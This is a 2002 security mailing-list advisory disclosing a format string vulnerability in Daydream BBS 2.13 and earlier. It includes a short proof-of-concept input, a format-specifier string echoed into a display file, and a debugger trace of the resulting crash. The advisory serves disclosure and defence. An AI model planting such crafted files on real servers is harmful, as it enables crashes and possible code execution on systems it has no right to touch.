[UNIX] Daydream BBS Format String Vulnerability

From: support@securiteam.com
Date: 01/02/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed,  2 Jan 2002 21:38:20 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Daydream BBS Format String Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://daydream.iwn.fi/about.html> Daydream BBS provides a stable, fully
configurable bulletin board system. A security vulnerability in the
product allows attackers to exploit a format string vulnerability in the
product and execute arbitrary code.

DETAILS

Vulnerable systems:
Daydream version 2.13 and prior

Background:
~#RA[FILE]|[max]|
 Shows random textfile. Format for file is "/path/foobar%d.ext", where %d
is a random number (1-[max]).

Example:

echo "~#RA%s%s%s%s%s%s" > filetoupload.gfx. Then place this file on the
server and view it via the menu system.

Simple test to proove existance:
[root@linuxppc <mailto:root@linuxppc> bbs]# echo "~#RA%s%s%s%s%s%s" >
display/iso/welcome.gfx

·| All accounts deleted - login |·
:| as NEW! |:
:| |:.
 ....:::| NEW / CHAT / LOGOFF |:::.... .
`------------------------------'

Username: test
Password: ****

Program received signal SIGSEGV, Segmentation fault.
formatted_print (buffer=0x7fffda48 '-' <repeats 70 times>, ")\n",
flags=268615586) at typetext.c:594
594 *cm++ = *sr++;
(gdb) bt
#0 formatted_print (buffer=0x7fffda48 '-' <repeats 70 times>, ")\n",
flags=268615586) at typetext.c:594
(gdb) x/10s $r1
0x7fffd440: "\177ÿÚ\220\020\001Öì%s%s%s%s%s%s\n"

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages